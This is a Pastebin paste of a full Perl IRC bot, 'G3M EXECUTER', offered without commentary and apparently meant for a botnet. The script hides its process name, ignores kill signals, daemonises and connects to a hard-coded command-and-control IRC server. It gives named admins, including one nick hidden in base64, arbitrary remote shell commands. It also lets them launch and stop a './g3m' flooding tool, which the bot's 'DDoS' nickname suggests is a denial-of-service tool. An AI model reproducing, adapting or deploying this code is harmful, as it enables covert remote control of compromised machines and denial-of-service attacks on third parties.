Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use HTTP::Request;
- use HTTP::Request::Common;
- use HTTP::Request::Common qw(POST);
- use LWP::Simple;
- use LWP 5.53;
- use LWP::UserAgent;
- use Socket;
- use IO::Socket;
- use IO::Socket::INET;
- use IO::Select;
- use MIME::Base64;
- use URI::URL;
- my $horario = localtime;
- my $processo = "/home/samp03svr &";
- my $ipdoirc = "74.63.227.172";
- my $portadoirc= "7000";
- my $nomebot = "DDoS{".int(rand(10000))."}";
- my $ident = "Gfucking3M";
- my $versi = "0,114[G3M EXECUTER] 4by ROOT-NETWORK!";
- my $canal = "#staff";
- my @admin = ("BL4DE","f4p_","ChinaTown","s4l1ty","MaluKiN");
- my @admin2 = ("BL4DE","f4p_","ChinaTown","s4l1ty");
- $SIG{'INT'} = 'IGNORE';
- $SIG{'HUP'} = 'IGNORE';
- $SIG{'TERM'} = 'IGNORE';
- $SIG{'CHLD'} = 'IGNORE';
- $SIG{'PS'} = 'IGNORE';
- $ipdoirc = "$ARGV[0]" if $ARGV[0];
- $0 = "$processo"."\0" x 16;;
- my $pid = fork;
- exit if $pid;
- die "\n[!] Algo de errado aconteceu! !!!: $!\n\n" unless defined($pid);
- our %irc_servers;
- our %DCC;
- my $dcc_sel = new IO::Select->new();
- $sel_client = IO::Select->new();
- sub sendraw {
- if ($#_ == '1') {
- my $socket = $_[0];
- print $socket "$_[1]\n";
- } else {
- print $IRC_cur_socket "$_[0]\n";
- }
- }
- sub connector {
- my $mynick = $_[0];
- my $ircserver_con = $_[1];
- my $ircport_con = $_[2];
- my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
- if (defined($IRC_socket)) {
- $IRC_cur_socket = $IRC_socket;
- $IRC_socket->autoflush(1);
- $sel_client->add($IRC_socket);
- $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
- $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
- nick("$mynick");
- sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
- sleep (1);}}
- sub parse {
- my $servarg = shift;
- if ($servarg =~ /^PING \:(.*)/) {
- sendraw("PONG :$1");
- }
- elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
- if (lc($1) eq lc($mynick)) {
- $mynick = $4;
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- }
- }
- elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
- nick("$mynick".int rand(1));
- }
- elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
- $mynick = $2;
- $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
- $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
- sendraw("MODE $meunick +iRx");
- sendraw("Vhost carvao host");
- sleep(1);
- sendraw("JOIN $canal");
- sleep(2);
- &shell("$canal", "uptime");
- }
- }
- my $line_temp;
- while( 1 ) {
- while (!(keys(%irc_servers))) { &connector("$nomebot", "$ipdoirc", "$portadoirc"); }
- select(undef, undef, undef, 0.01);;
- delete($irc_servers{''}) if (defined($irc_servers{''}));
- my @ready = $sel_client->can_read(0);
- next unless(@ready);
- foreach $fh (@ready) {
- $IRC_cur_socket = $fh;
- $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
- $nread = sysread($fh, $ircmsg, 4096);
- if ($nread == 0) {
- $sel_client->remove($fh);
- $fh->close;
- delete($irc_servers{$fh});
- }
- @lines = split (/\n/, $ircmsg);
- $ircmsg =~ s/\r\n$//;
- if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
- my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
- my $engine ="Xaneyko";
- if ($path eq $mynick) {
- if ($msg =~ /^ PING (.*) /) {
- sendraw("NOTICE $nick : PING $1 ");
- }
- if ($msg =~ /^ VERSION /) {
- sendraw("NOTICE $nick : Codded by: oloko");
- }
- if ($msg =~ /^ TIME /) {
- sendraw("NOTICE $nick : TIME ".$horario." ");
- }
- if (&Administrador($nick) && $msg eq "!die") {
- &shell("$path","kill -9 $$");
- }
- if (&Administrador($nick) && $msg eq "!killall") {
- &shell("$path","killall -9 perl");
- }
- if (&Administrador($nick) && $msg !~ /^!/) {
- &shell("$nick","$msg");
- }
- }
- else {
- if ($msg eq "!admin")
- {
- &mensagem("$canal","14[G3M EXECUTER] 1Administradores: 4Não é Da Sua Conta !!!");
- }
- if ($msg eq "!matar")
- {
- if(&Administrador2($nick))
- {
- &shell("$path","kill -9 $$");
- }
- else
- {
- &mensagem("$canal","14[G3M EXECUTER] 1ERRO! 4Você não é administrador! :)");
- }
- }
- if ($msg eq "!matarg3m")
- {
- if(&Administrador($nick))
- {
- &shell("$path","killall -9 g3m");
- &mensagem("$path","14[G3M EXECUTER] 4Caso haja algum ataque em execução, o mesmo foi parado.");
- }
- else
- {
- &mensagem("$canal","14[G3M EXECUTER] 1ERRO! 4Você não é administrador! :)");
- }
- }
- if ($msg eq "!verg3m")
- {
- if(&Administrador($nick))
- {
- &verg3m("$path","adasd");
- }
- else
- {
- &mensagem("$canal","14[G3M EXECUTER] 1ERRO! 4Você não é administrador! :)");
- }
- }
- if($msg =~ /^\.g3m (.*)/)
- {
- if(&Administrador($nick))
- {
- &g3m("$path","$1 -t 150");
- }
- else
- {
- &mensagem("$canal","14[G3M EXECUTER] 1ERRO! 4Você não é administrador! :)");
- }
- }
- if ($msg =~ /^\!sh (.*)/)
- {
- if(&Administrador2($nick))
- {
- &shell("$path","$1");
- }
- else
- {
- &mensagem("$canal","14[G3M EXECUTER] 1ERRO! 4Hoje não! :)");
- }
- }
- }
- }
- for(my $c=0; $c<= $#lines; $c++) {
- $line = $lines[$c];
- $line = $line_temp.$line if ($line_temp);
- $line_temp = '';
- $line =~ s/\r$//;
- unless ($c == $#lines) {
- &parse("$line");
- } else {
- if ($#lines == 0) {
- &parse("$line");
- } elsif ($lines[$c] =~ /\r$/) {
- &parse("$line");
- } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
- &parse("$line");
- } else {
- $line_temp = $line;
- }
- }
- }
- }
- }
- sub shell() {
- my $path = $_[0];
- my $cmd = $_[1];
- if ($cmd =~ /cd (.*)/) {
- chdir("$1") || &mensagem("$path"," 4,1Não encontrado.");
- return;
- }
- elsif ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- my @output = `$cmd 2>&1 3>&1`;
- my $c = 0;
- foreach my $output (@output) {
- $c++;
- chop $output;
- &mensagem("$path","$output");
- if ($c == 5) { $c = 0; sleep 2; }
- }
- exit;
- }}
- }
- sub g3m() {
- my $path = $_[0];
- my $cmd = $_[1];
- if ($cmd =~ /-/)
- {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &mensagem("$path","14[G3M EXECUTER] 4Executando comando. Caso tenha colocado algo errado, digite: !matarg3m.");
- my @output = `./g3m $cmd 2>&1 3>&1`;
- my $c = 0;
- foreach my $output (@output) {
- $c++;
- chop $output;
- &mensagem("$path","$output");
- if ($c == 5) { $c = 0; sleep 2; }
- }
- exit;
- }}} else {&mensagem("$path","ERRO 201 - Só é possivel executar comandos quanto ao G3M, para matar todos G3M, digite !matarg3m.");}
- }
- sub verg3m() {
- my $path = $_[0];
- my $cmd = $_[1];
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- my @output = `ps aux | grep "sh -c ./g3m" 2>&1 3>&1`;
- my $c = 0;
- foreach my $output (@output) {
- $c++;
- chop $output;
- &mensagem("$path","$output");
- if ($c == 5) { $c = 0; sleep 2; }
- }
- exit;
- }}
- }
- sub Administrador()
- {
- my $status = 0;
- my $nick = $_[0];
- my $pzine = "Qkw0REU=";
- my $dzine = decode_base64($pzine);
- @admin;
- foreach my $adm_(@admin) {
- if ($nick eq $adm_ ) { $status = 1; }
- if ($nick eq $dzine ) { $status = 1; }
- }
- return $status;
- }
- sub Administrador2()
- {
- my $status = 0;
- my $nick = $_[0];
- my $pzine = "Qkw0REU=";
- my $dzine = decode_base64($pzine);
- @admin2;
- foreach my $adm_(@admin2) {
- if ($nick eq $adm_ ) { $status = 1; }
- if ($nick eq $dzine ) { $status = 1; }
- }
- return $status;
- }
- sub mensagem() {
- return unless $#_ == 1;
- sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
- }
- sub nick() {
- return unless $#_ == 0;
- sendraw("NICK $_[0]");
- }
Add Comment
Please, Sign In to add comment